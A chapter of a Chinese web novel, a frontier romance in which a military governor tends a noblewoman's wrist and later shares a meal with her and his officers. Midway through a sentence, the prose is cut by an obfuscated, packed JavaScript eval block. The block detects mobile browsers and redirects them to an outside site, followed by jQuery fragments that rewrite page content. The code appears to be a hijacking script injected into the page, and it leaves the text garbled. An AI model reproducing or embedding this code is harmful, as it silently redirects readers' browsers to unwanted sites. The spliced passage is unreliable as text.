书房里布置简单,缝缝补补的矮榻占去一半空间,靠墙一方书柜,空荡荡一本书也没有,高几上放着一盏灯,光线说不上多亮。萨孤延背对门口,坐在桌子前不知写些什么。
听见门响,他回身看,还没等起身,卫理理已经走近。
手臂搭在他肩上,卫理理俯下身,指甲若即若离从他脸侧划过:“我还道节度使不会在府中停留呢。”
指尖划过的地方酥酥麻麻的痒,萨孤延垂下眼,尽力不去看,不去想。
桌上摊着一张简陋的地形图,画着几条虚线和标识。地形图上没有地名,从山川走势判断,应该是鹰娑川附近,虚线的指向处,是焉耆。
行军图吗?卫理理略略扫两眼,把几个标识记在心中。
男人若无其事折起图收好,开口问道:“县主手上的伤如何?”
他原先确实打算取上官服就走,不然也不会带着曹骠他们一起过来。只是她临出门前说她手腕至今不见好,打听着也不曾请大夫,他这才决定多留一晚。
不管她怎样任性妄为,伤必须要治疗。扭伤虽小,不好好将养也会留下病根。
卫理理有些想笑,他该不会就为了看看她的伤才留到现在吧?
手臂在他眼前晃晃,卫理理让他自己撩开袖子看。
她站着也不比坐着的萨孤延高多少,一低头,正好能看见男人的后颈和耳朵。
他的肤色偏深,与卫理理见过的一些常年征战在外、风吹日晒的人不同,他的肤色不是一层层烤出来的、泛着油光和枣红的深色,而是像岩石一般,扎实的、坚韧的、带着原始生命力的颜色。
他的身体也不像那些自诩玉树临风的文人般纤巧,骨架敦实,肩宽背厚,卫理理的手搭在他身上,就像一支摇摇欲坠的病芙蓉,格外白皙可怜。
粗粝的触感将不安分的手包裹,衣袖一点一点撸上去,一根手指按在卫理理手腕处。
“这里疼吗?”他问。
他指甲修剪得很短,或者说,磨损得很短,紧贴着指肉,边缘有些类似分层的参差。甲根处有青黑色的淤血,还有一处破口。手指尖端也有一道裂痕,干硬的皮肤向两边翻开,露出鲜红的血肉。
上次他来抹药时,还没有淤血,这是砸到了指甲?
卫理理瞥向搁在桌上的炭笔,方才他就是用这根手指握笔绘图,也不嫌疼。
“这里,疼吗?”
没有得到回答,萨孤延重新在腕骨处轻轻按压,再问一次。
其实也不太疼,卫理理从来不拿自己的身体开玩笑,她身边的梅子懂医术,每天都会检查各处伤的恢复情况,她的手腕已经好得差不多。
“疼,特别疼。”可她才不跟萨孤延说实话,他弄伤的,岂能轻易放过他。
萨孤延换个地方按:“这里呢?”
“也疼。”
一连按几处,卫理理都说疼。萨孤延察觉不对,手指挪几分:“这里呢?”
听见卫理理还说疼,萨孤延明白,不论真疼假疼,她都要喊疼的。
“药呢?”
药还在她的小匣子里。药瓶不大,梅子用药又舍得,已经见底。卫理理站着有些累,干脆不管不顾倚在他后背,把全身重量压在他肩上。
“节度使给的药不是全新的。”
军中药物稀缺,给她的伤药也非普通货,连他手上都没有太多,实在没找到还没用过的。
刚要解释,就听见趴在肩上的小狐狸娇娇娆娆抱怨:“想来是节度使从军中取的药,也不知是哪个男人用剩下的给了我。”
军中数人同用一瓶药是常事,萨孤延也经常跟别的士兵分用伤药,可这话被卫理理说出来,他听在耳中不是滋味。一想到她用别的男人用过的东西,萨孤延莫名生出许多气恼。
“我用的。”
他之前扫处密部时被对面的钢鞭打在背上,军医才给他那瓶药。他不想让卫理理瞎想什么旁的男人,一个新泰郡王已经够他烦的。
没有药,萨孤延只能帮卫理理揉手腕缓解痛疼。卫理理天生皮肤薄,手臂上都能瞧见皮下血管的走向,没揉几下就被磨出一片粉红。
她手腕还没他掌宽,萨孤延两根手指就能把她圈起,粗旷的黑与细腻的白形成触目惊心的对比,两相接触中夹杂的粉色就格外艳丽。
“天气转凉,我晚上睡觉时总会脚冷。”
萨孤延盯着手中的娇红走神,忽然听到背后传来声音。
“时常想,要是能有热热的东西暖脚就好了。”
卫理理俯下身体,贴近他耳边。温热的气息打在耳廓,卫理理惊奇地发现原来他也会耳红。
“晚上我叫梅子给节度使送被炉,有被炉就不会脚冷。”
手腕被抽走,缠绕着辛辣的清雅香味越来越远,直到房门关闭,萨孤延才回神。
原来又是她的戏弄。他看向空空如也的手,缓缓搓动手指,他究竟,在期待些什么?
萨孤延不走,班识他们也不能擅自离开。
早上卫理理难得早起一次,邀上班识他们一起用饭,顺带邀请萨孤延。
班识从听见县主嫂嫂邀他吃饭就开始愁眉苦脸,一进厅中赶紧挑最边角的位置坐下,撵着曹骠和宋元瑸往里坐。
曹骠昨天得知节帅的女人来了就一直好奇,但真要见面反而拘束起来,他一个没正经读过书的大老粗,万一惹得县主不喜,岂不给节帅添麻烦。想着宋元瑸读书多,就把宋元瑸按在节帅下首,他去挨着班识坐。
按理宋元瑸与萨孤延的关系并不如曹骠他们亲近,他是李副总管的参谋,刚要推辞,萨孤延进门,宋元瑸也便不再与曹骠拉扯,四人一齐端坐等待。
待卫理理入座,婢子们捧着大托盘奉菜,依旧是两荤两素,一份汤水,一份粥,一份主食,一碗奶茶和几样清爽小菜。不过今日主食是古楼子,肉也换成驼肉和鹿肉。
萨孤延看向坐在对面的卫理理,见她一小口一下口就着小菜吃粥,眉头收紧。她是青州人,想必吃不来西域口味,为了迁就他们,这顿饭倒让她委屈。
卫理理夹一筷鹿肉,吃得正香,久违的“呼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284241|198416||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
噜”声响起,她一抬头,与萨孤延视线撞个正着儿。
他不吃饭,看她作甚。
卫理理抿过耳边鬓发,摸摸脸颊,今日梳妆应该没有差错。
那头班识狠狠踹着曹骠小腿。曹骠一口汤含在嘴里,差点呛到,不满地怒视班识。班识不停使眼色,见曹骠一头雾水,只能招手示意他凑近,跟曹骠咬耳朵:“你吃饭小声些,没看嫂嫂身边的姐姐在瞪你吗?”
曹骠一扭头,梅子含笑侍立,并不往这边看,心里嘀咕,净蒙人,哪里瞪了?
推开班识,再吃饭时,曹骠端碗的手顿住,斜眼朝萨孤延方向瞄去。军中吃饭唯求快,免得敌人趁吃饭的时候进攻,所以常年从军的人吃饭速度极快,萨孤延和宋元瑸也不例外。只是他二人虽快,一点声响也没有。再往县主嫂嫂处瞄,县主嫂嫂仙女一般小口吃菜,也是无声无响。
曹骠回看班识,见班识捏着汤匙冲他比划,舔舔唇,郁闷地拾起一直摆在桌上不曾用过的汤匙。
饭菜刚撤走,曹骠就迫不及待拉着班识往外走,宋元瑸紧随其后,向卫理理拜别。耽搁这一会儿,宋元瑸来到厅外时,曹骠已经与班识讨论起来:“节帅以前吃饭也没声没息吗?”
班识翻个白眼:“没印象,我哪记得。总之你在嫂嫂面前注意点,别让人家以为节帅身边的人没规矩。”
话说完,他拽拽衣裳大步朝马厩走去,刚走两步又回头强调:“要文雅。”
闲杂人等离开,萨孤延从怀中摸出一枚私印:“凭这个,你在庭州花销,可以记在我账上。”
卫理理细看章面,上面不是萨孤延三个汉字,而是几个吐火罗字,凑在一起大约是萨孤这个姓氏的吐火罗写法。青州的私人印信多是徽记或是男子的字,说来她还不知道萨孤延的字是什么。
“节度使给我印信,就不怕我挥霍一空?我可不是什么便宜货就能打发的。”卫理理歪着头,抬眼望他,那一瞬间笑意已经漫上眼底,分明天真无邪,眯起的弧度里却藏着灵光和俏皮。
她确实难养,人生得娇嫩,性子也娇。
“我从军多年,还是有些积蓄的。”
再如何,她名义上都是他的女人,既来到庭州,就没有让她自己掏钱生活的道理。
萨孤延的目光落在她脚上。今天卫理理穿了一双麂皮小靴,靴面上用点状烙痕拼出花纹,秀气又精致。
套在靴里,也才小小一双。
北庭的雪三月不化,到了落雪时节,雪水浸湿鞋子倒灌进靴中,能把脚趾冻烂,每到冬日军中就有因为鞋子湿透而烂脚的士兵。
西域的雪只有笨重的毡靴才能抗衡,她这样的漂亮的麂皮小靴,是熬不到寒冬的。
卫理理还在好奇地端详手中小印,萨孤延把那双掩在裙下的小靴子仔细看过,没再多说什么,自行离开。
印章还残留着一点红痕,卫理理盖在手背上,只有一个浅淡到看不出图样的印记。
也不知圣人给他开多少俸禄,她把印章收在手心,笑着唤桃桃:“走,我们花钱去。”